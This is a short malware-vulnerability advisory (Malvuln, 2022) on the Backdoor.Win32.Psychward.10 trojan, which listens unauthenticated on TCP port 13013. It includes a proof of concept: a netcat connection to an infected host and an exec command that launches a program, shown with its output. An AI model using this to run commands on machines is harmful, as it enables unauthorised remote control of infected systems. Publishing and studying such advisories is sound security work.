Backdoor.Win32.Psychward.10 MVID-2022-0651 Remote Command Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/70c5f8d61f6ac67091c0c5860e456427.txt
Contact: malvuln13@gmail.com
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Threat: Backdoor.Win32.Psychward.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 13013.  Third-party adversarys who can reach infected systems can issue various commands made available by the backdoor.
Family: Psychward
Type: PE32
MD5: 70c5f8d61f6ac67091c0c5860e456427
Vuln ID: MVID-2022-0651
Dropped files: winvxd.exe
Disclosure: 10/22/2022


Exploit/PoC:
C:\>nc64.exe x.x.x.x 13013

psychward final, ready for action
exec "c:\Windows\system32\calc.exe"
file executed


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